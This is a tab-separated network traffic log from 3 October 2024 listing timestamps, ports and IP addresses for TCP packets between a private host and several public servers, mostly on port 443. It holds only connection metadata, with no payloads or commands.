Oct 3, 2024 17:18:13.202512980 CEST	49710	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.202519894 CEST	443	49710	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:13.256974936 CEST	49711	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.256982088 CEST	49710	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.257013083 CEST	443	49711	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:13.305044889 CEST	49711	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.518713951 CEST	443	49710	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:13.518953085 CEST	443	49710	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:13.519068956 CEST	49710	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.519767046 CEST	49710	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.519817114 CEST	443	49710	3.76.71.197	192.168.2.17
Oct 3, 2024 17:18:13.519846916 CEST	49710	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.519915104 CEST	49710	443	192.168.2.17	3.76.71.197
Oct 3, 2024 17:18:13.544265032 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:13.544313908 CEST	443	49712	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:13.544403076 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:13.544744015 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:13.544764996 CEST	443	49712	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:13.888792992 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:13.888848066 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:13.888948917 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:13.889163017 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:13.889178038 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:14.011775017 CEST	443	49712	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.012131929 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.012164116 CEST	443	49712	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.013382912 CEST	443	49712	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.013467073 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.014600039 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.014631033 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.014667988 CEST	443	49712	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.014724970 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.014736891 CEST	443	49712	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.014750957 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.014785051 CEST	49712	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.015110016 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.015161037 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.015249968 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.015491962 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.015510082 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.494934082 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.496313095 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.496347904 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.497236967 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.497339010 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.498342037 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.498395920 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.498624086 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.498634100 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.526906013 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:14.527872086 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:14.527935982 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:14.529377937 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:14.529488087 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:14.530467987 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:14.530554056 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:14.542990923 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.575006008 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:14.575031996 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:14.622945070 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:14.816800117 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.816854954 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.816914082 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.816940069 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.816960096 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.816966057 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.817028046 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.817065954 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.817459106 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.817517996 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.817533970 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.817871094 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.817899942 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.817935944 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.817955017 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.817980051 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.821636915 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.822390079 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.822402954 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.862973928 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.907088995 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.907231092 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.907294989 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.907381058 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.907414913 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.907612085 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.907666922 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.907684088 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.907697916 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.907725096 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.908214092 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.908277035 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.908337116 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.908343077 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.908691883 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.908744097 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.908828974 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.908884048 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.908890009 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.911031008 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.911130905 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.911137104 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.911473989 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.911526918 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.911571026 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.911587000 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.911593914 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.911607981 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.911986113 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.912050009 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.912055016 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.912632942 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.912691116 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.912692070 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.912710905 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.912755966 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.912765980 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.959032059 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.959089994 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.997531891 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.997565985 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.997623920 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.997644901 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.997908115 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.998003960 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.998018980 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.998606920 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.998687029 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.998698950 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.998720884 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:14.998785973 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.998939037 CEST	49714	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:14.998970032 CEST	443	49714	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:17.547317028 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:17.547365904 CEST	443	49719	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:17.547452927 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:17.548312902 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:17.548333883 CEST	443	49719	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:17.548850060 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:17.548899889 CEST	443	49720	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:17.548996925 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:17.549436092 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:17.549468040 CEST	443	49720	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:17.860200882 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:17.860232115 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:17.860349894 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:17.862740993 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:17.862759113 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.007034063 CEST	443	49719	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.007431984 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.007456064 CEST	443	49719	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.008337021 CEST	443	49719	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.008411884 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.008899927 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.008941889 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.008956909 CEST	443	49719	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.009032965 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.009047031 CEST	443	49719	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.009061098 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.009093046 CEST	49719	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.009552002 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.009644032 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.009841919 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.010215044 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.010243893 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.014331102 CEST	443	49720	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.014609098 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.014642954 CEST	443	49720	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.016133070 CEST	443	49720	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.016223907 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.016541004 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.016541004 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.016582966 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.016633034 CEST	443	49720	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.016700983 CEST	49720	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.016875982 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.016921997 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.017041922 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.018469095 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.018491030 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.448172092 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.448249102 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.451889038 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.451898098 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.452311993 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.486079931 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.495673895 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.496746063 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.496808052 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.497724056 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.497798920 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.498254061 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.498317003 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.498457909 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.498475075 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.500273943 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.501015902 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.501030922 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.504666090 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.504781961 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.511929035 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.512049913 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.512141943 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.512156963 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.542021990 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.558041096 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.561016083 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.607407093 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.642718077 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.642791033 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.642874956 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.643731117 CEST	49724	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.643754959 CEST	443	49724	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.647700071 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.647754908 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.647829056 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.647855043 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.647869110 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.647916079 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.648838997 CEST	49725	443	192.168.2.17	188.114.96.3
Oct 3, 2024 17:18:18.648859024 CEST	443	49725	188.114.96.3	192.168.2.17
Oct 3, 2024 17:18:18.752609968 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.752635956 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.752643108 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.752655029 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.752682924 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.752767086 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.752782106 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.752841949 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.753302097 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.753371000 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.753380060 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.753715992 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.753844976 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.791636944 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.791666031 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:18.791682005 CEST	49723	443	192.168.2.17	20.12.23.50
Oct 3, 2024 17:18:18.791692972 CEST	443	49723	20.12.23.50	192.168.2.17
Oct 3, 2024 17:18:24.438929081 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:24.439069986 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:24.439157963 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:25.309986115 CEST	49713	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:18:25.310065031 CEST	443	49713	142.250.186.100	192.168.2.17
Oct 3, 2024 17:18:26.263645887 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 3, 2024 17:18:26.577028036 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 3, 2024 17:18:27.182183027 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 3, 2024 17:18:28.396028996 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 3, 2024 17:18:28.406111002 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:28.406200886 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:28.406315088 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:28.407335997 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:28.407371998 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.049011946 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.049108028 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.052711010 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.052761078 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.053071022 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.096287966 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.143408060 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.317774057 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.317929029 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.318015099 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.318058014 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.318097115 CEST	49732	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.318106890 CEST	443	49732	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.384067059 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.384104013 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:29.384186029 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.384478092 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:29.384493113 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.019198895 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.019299984 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:30.020713091 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:30.020721912 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.020961046 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.022197962 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:30.063425064 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.294215918 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.294291019 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.294369936 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:30.295219898 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:30.295241117 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.295279980 CEST	49733	443	192.168.2.17	184.28.90.27
Oct 3, 2024 17:18:30.295285940 CEST	443	49733	184.28.90.27	192.168.2.17
Oct 3, 2024 17:18:30.420527935 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 3, 2024 17:18:30.721046925 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 3, 2024 17:18:30.800049067 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 3, 2024 17:18:30.873378038 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:30.873477936 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:30.873577118 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:30.873779058 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:30.873801947 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.326021910 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 3, 2024 17:18:31.588078022 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.588393927 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.588418007 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.588762045 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.588833094 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.589371920 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.589430094 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.593666077 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.593956947 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.594743013 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.643060923 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.643119097 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.691190958 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.931946993 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.932336092 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.932528019 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.933182001 CEST	49734	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.933222055 CEST	443	49734	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.934509993 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.934550047 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.934622049 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.934818983 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.934911013 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.934982061 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.935003996 CEST	49735	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.935022116 CEST	443	49735	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.935178995 CEST	49736	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:18:31.935200930 CEST	443	49736	142.250.186.174	192.168.2.17
Oct 3, 2024 17:18:31.942995071 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:31.947880983 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:31.947966099 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:31.948167086 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:31.953047037 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.537192106 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 3, 2024 17:18:32.740262985 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.740303993 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.740336895 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.740370989 CEST	5228	49737	74.125.206.188	192.168.2.17
Oct 3, 2024 17:18:32.740401030 CEST	49737	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:18:32.740406036 CEST	5228	49737	74.125.206.188	192.168.2.17
